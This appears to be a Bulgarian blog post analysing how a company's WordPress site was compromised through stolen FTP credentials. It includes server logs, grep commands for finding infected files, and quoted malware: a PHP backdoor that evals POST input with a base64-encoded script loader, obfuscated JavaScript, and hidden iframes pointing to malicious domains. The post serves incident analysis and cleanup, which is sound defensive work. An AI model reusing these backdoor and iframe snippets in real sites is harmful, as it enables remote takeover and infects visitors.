Ако сте под Windows и NOD32 Ви каже, че тук има Вирус НЕ СЕ ПРИТЕСНЯВАЙТЕ, ИЗВЕЖДА ТОВА СЪОБЩЕНИЕ ЗАЩОТО СЪМ ПОСТНАЛ И САМИЯТ КОД.

Днес отварям фирмения сайт и гледам, че от гоогле предупреждават за зловреден код в него и бях направо ШАХ. Разгледах нещата и разбрах от къде е дошъл проблема.

Анатомия на атаката:

1. Apache2 Log file

1.1. За първи път се логва колегата за да работи в/у сайта през FTP
[02/Apr/2009:18:19:23 +0300] kolega-ip kolega-ip 331 USER -- -- -- "USER ftpaccount
Apr 02 18:19:23 webhosting proftpd[30387] webhosting (kolega-ip[kolega-ip]): USER ftpaccount: Login successful.
Apr 02 18:19:23 webhosting proftpd[30387] webhosting (kolega-ip[kolega-ip]): Preparing to chroot to directory '/source1/ftpaccount.org'
…

Следват няколко негови логвания свързани с работата по сайта

1.2. [10/Apr/2009:10:16:31 +0300] 70.189.221.198 70.189.221.198 331 USER -- -- -- "USER ftpaccount
Apr 10 10:16:31 webhosting proftpd[7228] webhosting (70.189.221.198[70.189.221.198]): USER ftpaccount: Login successful.
Apr 10 10:16:31 webhosting proftpd[7228] webhosting (70.189.221.198[70.189.221.198]): Preparing to chroot to directory '/source1/ftpaccount.org'

1.3. [10/Apr/2009:10:27:53 +0300] 86.12.246.179 86.12.246.179 331 USER -- -- -- "USER ftpaccount
Apr 10 10:27:53 webhosting proftpd[7334] webhosting (86.12.246.179[86.12.246.179]): USER ftpaccount: Login successful.
Apr 10 10:27:53 webhosting proftpd[7334] webhosting (86.12.246.179[86.12.246.179]): Preparing to chroot to directory '/source1/ftpaccount.org'

1.4. [10/Apr/2009:10:28:00 +0300] 76.94.165.68 76.94.165.68 331 USER -- -- -- "USER ftpaccount
Apr 10 10:28:00 webhosting proftpd[7335] webhosting (76.94.165.68[76.94.165.68]): USER ftpaccount: Login successful.
Apr 10 10:28:00 webhosting proftpd[7335] webhosting (76.94.165.68[76.94.165.68]): Preparing to chroot to directory '/source1/ftpaccount.org'

1.5. [10/Apr/2009:10:28:10 +0300] 75.92.148.209 75.92.148.209 331 USER -- -- -- "USER ftpaccount
Apr 10 10:28:11 webhosting proftpd[7342] webhosting (75.92.148.209[75.92.148.209]): USER ftpaccount: Login successful.
Apr 10 10:28:11 webhosting proftpd[7342] webhosting (75.92.148.209[75.92.148.209]): Preparing to chroot to directory '/source1/ftpaccount.org'

1.6. [10/Apr/2009:10:28:22 +0300] 68.93.138.99 68.93.138.99 331 USER -- -- -- "USER ftpaccount
Apr 10 10:28:22 webhosting proftpd[7349] webhosting (68.93.138.99[68.93.138.99]): USER ftpaccount: Login successful.
Apr 10 10:28:22 webhosting proftpd[7349] webhosting (68.93.138.99[68.93.138.99]): Preparing to chroot to directory '/source1/ftpaccount.org'

1.7. [10/Apr/2009:10:28:28 +0300] 89.3.197.204 89.3.197.204 331 USER -- -- -- "USER ftpaccount
Apr 10 10:28:28 webhosting proftpd[7350] webhosting (89.3.197.204[89.3.197.204]): USER ftpaccount: Login successful.
Apr 10 10:28:28 webhosting proftpd[7350] webhosting (89.3.197.204[89.3.197.204]): Preparing to chroot to directory '/source1/ftpaccount.org'

2. Ftp log file

…
[10/Apr/2009:10:28:03 +0300] 76.94.165.68 76.94.165.68 226 STOR /source1/ftpaccount.org/public_html/index.php 509 0.418 "STOR index.php
[10/Apr/2009:10:28:25 +0300] 68.93.138.99 68.93.138.99 226 STOR /source1/ftpaccount.org/public_html/wp-admin/index-extra.php 909 0.365 "STOR index-extra
.php
[10/Apr/2009:10:28:38 +0300] 66.56.63.148 66.56.63.148 226 STOR /source1/ftpaccount.org/public_html/wp-admin/index.php 1011 0.325 "STOR index.php
[10/Apr/2009:10:28:53 +0300] 24.210.52.87 24.210.52.87 226 STOR /source1/ftpaccount.org/public_html/wp-content/index.php 142 0.280 "STOR index.php
[10/Apr/2009:10:29:15 +0300] 72.189.184.233 72.189.184.233 226 STOR /source1/ftpaccount.org/public_html/wp-content/themes/classic/index.php 1212 0.306 "
STOR index.php
[10/Apr/2009:10:29:31 +0300] 76.119.244.103 76.119.244.103 226 STOR /source1/ftpaccount.org/public_html/wp-content/themes/default/index.php 1725 0.281 "
STOR index.php
[10/Apr/2009:10:29:46 +0300] 72.241.68.125 72.241.68.125 226 STOR /source1/ftpaccount.org/public_html/wp-content/themes/podkrepa/index.php 1527 0.299 "S
TOR index.php
[10/Apr/2009:10:30:06 +0300] 96.28.185.163 96.28.185.163 226 STOR /source1/ftpaccount.org/public_html/wp-includes/default-filters.php 7337 0.521 "STOR d
efault-filters.php
[10/Apr/2009:10:30:28 +0300] 76.98.61.114 76.98.61.114 226 STOR /source1/ftpaccount.org/public_html.orig/backup/037/dommenu-0.3.7/examples/index.html 24
22 0.262 "STOR index.html
…

3. Инфектираните файлове до които има достъп FTP акаунта

1. Във всички "*.js" файлове се съдържа ето това :
<!--
(function(){var r54='var-20a-3d-22ScsriptEngin-65-22-2c-62-3d-22Version()+-22-2cj-3d-22s-22-2c-75-3dnavi-67ator-2euse-72A-67e-6et-3bif((u-2e-69nd-65xO-66(-2…
-->

Могат да се изведат по следния начин:

grep -R "var r54" *|awk -F ":" '{print $1}';
wp-content/plugins/contact-form-7/contact-form-7.js
wp-includes/js/wp-lists.js
wp-includes/js/prototype.js
wp-includes/js/jquery/jquery.table-hotkeys.js
wp-includes/js/jquery/suggest.js
wp-includes/js/jquery/ui.tabs.js
wp-includes/js/jquery/ui.dialog.js
wp-includes/js/jquery/ui.sortable.js
wp-includes/js/jquery/interface.js
wp-includes/js/jquery/jquery.hotkeys.js
wp-includes/js/jquery/jquery.color.js
wp-includes/js/jquery/jquery.schedule.js
wp-includes/js/jquery/ui.resizable.js
wp-includes/js/jquery/jquery.js
wp-includes/js/jquery/ui.draggable.js
wp-includes/js/jquery/ui.core.js
wp-includes/js/jquery/jquery.form.js
wp-includes/js/hoverIntent.js
wp-includes/js/tinymce/tiny_mce_popup.js
wp-includes/js/tinymce/tiny_mce.js
wp-includes/js/tinymce/blank.htm
wp-includes/js/crop/cropper.js
wp-includes/js/comment-reply.js
wp-includes/js/colorpicker.js
wp-includes/js/tw-sack.js
wp-includes/js/wp-ajax-response.js
wp-includes/js/autosave.js
wp-includes/js/scriptaculous/sound.js
wp-includes/js/scriptaculous/prototype.js
wp-includes/js/scriptaculous/controls.js
wp-includes/js/scriptaculous/scriptaculous.js
wp-includes/js/scriptaculous/dragdrop.js
wp-includes/js/scriptaculous/builder.js
wp-includes/js/scriptaculous/unittest.js
wp-includes/js/scriptaculous/effects.js
wp-includes/js/scriptaculous/slider.js
wp-includes/js/scriptaculous/wp-scriptaculous.js
wp-includes/js/quicktags.js
wp-includes/js/swfupload/swfupload.js
wp-includes/js/swfupload/handlers.js
wp-includes/js/thickbox/thickbox.js

2. Във всички *.php файлове се съдържа това:

<?php if(!function_existsd('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCihmdW5jdGlvbigpe3ZhciByNTQ9J3Zhci0yMGEtM2QtMjJTY3JpcHRFbmdpbi02NS0yMi0yYy02Mi0zZC0yMlZlcnNpb24oKSstMjItMmNqLTNkLTIyLTIyLTJjLTc1LTNkbmF2aS02N2F0b3ItMmV1c2UtNzJBLTY3ZS02ZXQtM2JpZigodS0yZS02OW5kLTY1eE8tNjYoLTIyV2luLTIyLTI5LTNlMCktMjYtMjYodS0yZWluLTY0ZXhPLTY2KC0yMi00ZVQtMjAtMzYtMjIpLTNjLTMwKS0yNi0yNihkb2N1bWVudC0yZWMtNmZvay02OS02NS0yZWluZGV4Ty02NigtMjJtaWUtNmItM2QxLTIyKS0zYzApLTI2LTI2LTI4dC03OXAtNjVvZih6cnZ6dHMpLTIxLTNkdHlwZW9mKC0yMi00MS0yMi0yOSkpLTdienJ2ei03NHMtM2QtMjJBLTIyLTNiLTY1dmEtNmMoLTIyLTY5LTY2KHdpbmQtNmYtNzctMmUtMjIrYSstMjIpai0zZGorLTIyLTJiYSstMjJNYWpvci0yMitiLTJiLTYxKy0yMk0tNjlub3ItMjIrYi0yYi02MSstMjJCdWktNmNkLTIyK2ItMmItMjJqLTNiLTIyKS0zYmRvLTYzdW0tNjUtNmV0LTJlLTc3LTcyaXQtNjUoLTIyLTNjc2NyaXB0LTIwc3ItNjMtM2QtMmYtMmYtNjctNzVtYi02Y2FyLTJlY24tMmZyc3MtMmYtM2YtNjlkLTNkLTIyK2orLTIyLTNlLTNjLTVjLTJmc2NyaXB0LTNlLTIyLTI5LTNiLTdkJztldmFsKHVuZXNjYXBlKHI1NC5yZXBsYWNlKC8tL2csJyUnKSkpfSkoKTsKIC0tPjwvc2NyaXB0Pg=='));function tmp_lkoj fghx($s){if($g=(substr($s,0,2)==chr(31 ).chr(139)))$s=gzin…

Могат да се изведат по следния начин:

grep -R "tmp_lkojfghx" *|awk -F ":" '{print $1}';
index.php
wp-config.php
wp-config-sample.php
wp-content/themes/default/functions.php
wp-content/themes/default/index.php
wp-content/themes/classic/functions.php
wp-content/themes/classic/index.php
wp-content/themes/podkrepa/functions.php
wp-content/themes/podkrepa/index.php
wp-content/index.php
wp-includes/wp-db.php
wp-includes/rss-functions.php
wp-includes/functions.php
wp-includes/query.php
wp-includes/registration-functions.php
wp-includes/functions.wp-styles.php
wp-includes/functions.wp-scripts.php
wp-settings.php

Във някой фалове се съдържа и това:

echo "<iframe src=\"http://crazeyt .com/?click=1081A69\" width=1 height=1 style=\"visibility:hi dden;position:absolute\"></iframe>";

Могат да се изведат по следния начин:

grep -R "crazeyt.com" *|awk -F ":" '{print $1}';
wp-admin/index.php

Във някой фалове се съдържа и това:

<iframe src="http://liteaut otop.cn/ts/in.cgi?mozila" width=2 height=4 style="visibility:  hid den"></iframe>

Могат да се изведат по следния начин:

grep -R "liteautotop.cn" *|awk -F ":" '{print $1}';
wp-admin/index.php
wp-content/themes/classic/index.php
wp-content/themes/podkrepa/index.php
wp-includes/default-filters.php

Извод: Колегата който е работил върху сайта е бил заразен с нещо(или заразен с доста неща) което е прехванало потребителското име и парола на ftp акаунта. След това от няколко места различни ботове са влизали и модифицирали файловете.

Един фирмен сайт беше хакнат заради логване на ftp user и pass, 5.0 out of 5 based on 1 rating